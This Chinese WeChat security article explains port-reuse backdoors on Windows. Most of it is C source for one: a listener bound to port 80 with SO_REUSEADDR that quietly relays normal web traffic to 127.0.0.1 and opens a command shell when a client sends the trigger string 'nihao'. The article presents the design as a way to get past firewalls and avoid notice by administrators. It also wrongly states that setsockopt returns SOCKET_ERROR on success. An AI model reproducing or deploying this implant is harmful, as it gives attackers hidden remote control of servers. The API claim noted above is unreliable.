查看原文
其他

端口复用后门浅析

计算机与网络安全 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488



微信公众号:计算机与网络安全

ID:Computer-network

使用远程线程技术可以穿越防火墙,但这项技术只能应用于反向连接的后门,通过插入进程以其他进程的名义访问网络。如果在内网则接收不到后门的反向连接,此时就无法使用该反向后门了。


一、后门思路


端口复用是指一个端口上建立了多个连接,而不是在一个端口上面开放了多个服务而互不干扰。在一般情况下,一个端口只能被一个程序所占用,如果通过套接字设置了端口复用选项,则该套接字就可以绑定在已经被占用的端口上,同时并没有权限的区分。通常后绑定的程序权限比较大,后绑定的程序可以接收通过这个端口的所有的数据,而先前绑定的程序则收不到任何数据


端口复用后门是使用端口复用技术的后门程序,这一类后门程序通常是嵌入系统进程里的线程(DLL文件),占用系统资源少,隐蔽性高,最重要的是能突破防火墙,很难察觉。


最初的端口复用后门是复用某个防火墙允许连接的端口,由于后绑定的程序可以接收通过这个端口的所有数据,即后门可以接收到通过这个端口的所有数据,这样后门就会接收大量无用的数据,从而导致难以区分哪些是要传输的命令,所以就需要对收到的数据进行判断。


为方便比较接收到的数据和特征字符,如果相同就启动后门函数,在后门函数启动后,客户端套接字接收到的数据就直接传递给后门函数,不再和特征字符相比较。虽然这样是可行的,但是后门程序复用了相应的服务端口,从而导致原来的服务接收不到任何信息。如以Web服务为例,当后门复用了80端口后,其他用户将无法访问该服务器上的网站,这样后门在服务器上短时间是可以存在的,但是时间一长就很容易被网络管理员发现。


由于每台计算机上都有一个回环IP地址127.0.0.1,这样一台服务器至少有公网IP地址和回环IP地址两个IP地址。另外,在调用bind函数实现套接字和本地地址绑定时,需要设置sockaddr_in结构,这个结构中的sin_addr.S_un.S_addr字段为设置要绑定的IP地址。因此,后门可只对公网IP的端口复用,再接收客户连接以判断接收到的数据。如果和特征字符相同,则调用后门函数;否则后门就和127.0.0.1的相同端口建立连接并把数据转发给127.0.0.1。


当后门收到由127.0.0.1发送的数据后,就把数据转发给客户,其传递过程如图1所示。

图1  复用端口后门基本原理

不难看出,此时后门相当于一个数据转发的中转站,图中箭头代表数据传输的方向。


二、具体编程实现


下面将在端口复用后门原理和整体结构的基础上,从编程角度介绍其具体实现过程。首先要初始化winsock库,建立套接字;再调用setsocket函数把套接字设置成可重复绑定端口;绑定到本地地址,等待连接,最后利用线程函数创建新线程,其过程如图2所示。

图2  端口复用后门的具体实现过程

1、初始化winsock库,建立套接字。在设置可重复绑定端口之前,需要先初始化winsock库,再建立套接字。


2、将套接字设置为可以重复绑定端口。实现端口复用也是把套接字绑定在已经被其他服务占用的端口上,在调用bind函数之前需要先调用setsockopt函数设置套接字,使其可以复用端口。


该函数是用来设置和socket相关的属性,其具体格式如下:


int setsockopt( SOCKET s,

int level,

int optname,

const char FAR* optval,

int optlen);


其中各个参数的具体作用如下。


s:该参数指向一个要对其进行设置的套接字句柄。

level:指向要设置套接字处于socket的层次,目前仅支持SOL_SOCKET和IPPROTO_TCP以及NSPROTO_IPX层次。

optname:要设置的选项属性。

optval:指针,指向存放选项值的缓冲区。

optlen:optval缓冲区的长度。


setsockopt函数调用的具体格式如下:


int val=1;

if(setsockopt(sListen,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

//设置套接字为可以重复绑定端口

{

printf("setsockopt error\n");

return 0;

}


如果该函数调用成功则返回SOCKET_ERROR。

3、绑定到本地地址,等待连接。在设置完可重复绑定端口属性后,可以使用bind函数将其套接字绑定到公网的IP上,并使用listen函数监听端口。


4、在监听的过程中如果接收到连接,则使用accept函数接受新连接,并以该函数返回的套接字为参数,使用CreateThread函数创建新线程。


这几部分的具体实现代码如下:


int main(int argc, char* argv[])

{

char szHost[256];

sockaddr_in saddr;

sockaddr_in caddr;

SOCKET sListen;

SOCKET sClient[1000];

WSADATA wsaData;

WORD sockVersion = MAKEWORD(2, 2);

if(WSAStartup(sockVersion, &wsaData) != 0) //加载winsock库

return 0;

gethostname(szHost, 256); //得到本地的一块网卡的IP

hostent *pHost = gethostbyname(szHost);

in_addr addr;

memcpy(&addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);

saddr.sin_family = AF_INET;

saddr.sin_addr.S_un.S_addr =addr.S_un.S_addr; //设置要绑定的IP地址,公网IP

saddr.sin_port = htons(80); //建立套接字

sListen=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);;

if(sListen==SOCKET_ERROR)

{

printf("WSASocket error \n");

return 0;

}

int val=1;

if(setsockopt(sListen,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

//设置套接字为可以重复绑定端口

{

printf("setsockopt error\n");

return 0;

}

if(bind(sListen,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) //绑定套接字到公网IP上

{

printf("bind error \n");

return 0;

}

listen(sListen,1000); //监听套接字

DWORD ThreadId;

HANDLE hThread;

for (int i=0;i<1000;i++)

{

int Addrsize = sizeof(caddr);

sClient[i] = accept(sListen,(struct sockaddr *)&caddr,&Addrsize); //接受新连接

printf("%s\n",inet_ntoa(caddr.sin_addr));

if(sClient[i]!=INVALID_SOCKET)

{

hThread = CreateThread(NULL,0,ThreadProc,(LPVOID)sClient[i],0,

&ThreadId); //开启新线程

if(hThread==NULL)

{

printf("CreateThread error");

break;

}

}

CloseHandle(hThread);

}

closesocket(sListen);

WSACleanup();

return 0;

}


5、设置线程函数。在创建线程后需调用线程函数ThreadProc设置相应属性。由于后门在没有收到特征字符串时,就相当于是一个数据发送的中转,这样就会使整个收发过程比没有中转时要慢。需要先设置接收和发送数据的超时时间,还要用到setsocketopt函数。还需要将接收到的数据转发给127.0.0.1,并将从127.0.0.1收到的数据发给用户,同时判断特征字符,有则开启后门函数。这一部分的具体实现代码如下:


DWORD WINAPI ThreadProc(LPVOID lpParam)

{

SOCKET sClient = (SOCKET)lpParam;

SOCKET sNative;

char buff[4096]={0};

SOCKADDR_IN saddr;

DWORD val;

saddr.sin_family = AF_INET;

saddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); //设置要连接的回环地址

saddr.sin_port = htons(80);

if((sNative=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) //建立套接字

{

printf("socket error\n");

return 0;

}

val = 100;

if(setsockopt(sNative,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//设置收发数据超时时间

{

printf("setsockopt sNative error \n");

return 0;

}

if(setsockopt(sClient,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

{

printf("setsockopt sClient failed \n");

return 0;

}

if(connect(sNative,(SOCKADDR *)&saddr,sizeof(saddr))!=0) //连接127.0.0.1的80端口

{

printf("connect sNative failed\n");

closesocket(sNative);

closesocket(sClient);

return 0;

}

DWORD ret;

//循环接收从客户发来的数据,发给127.0.0.1,同时把从127.0.0.1收到的数据发给客户并判断特征字符

while(TRUE)

{

ret = recv(sClient,buff,4096,0); //接收从客户来的数据

if(ret>0)

{

if(strncmp(buff,"nihao",5)==0) //判断特征字符串,相同则调用后门函数

{

cmdshell(sClient);

break;

}

//发送给127.0.0.1

send(sNative,buff,ret,0);

}

else if(ret==SOCKET_ERROR)

break;

ret = recv(sNative,buff,4096,0); //接收从127.0.0.1来的数据

if(ret>0)

send(sClient,buff,ret,0); //发送给客户

else if(ret==SOCKET_ERROR)

break;

}

closesocket(sClient);

closesocket(sNative);

return 0 ;

}


其中SO_RCVTIMEO参数的作用是对收发数据超时进行设置,val表示设置超时的毫秒数:100毫秒。而sClient套接字指向用户;sNative套接字指向127.0.0.1。从上述代码中可以看出,当收到数据的前5个字符是nihao时,就会调用后门函数。

微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存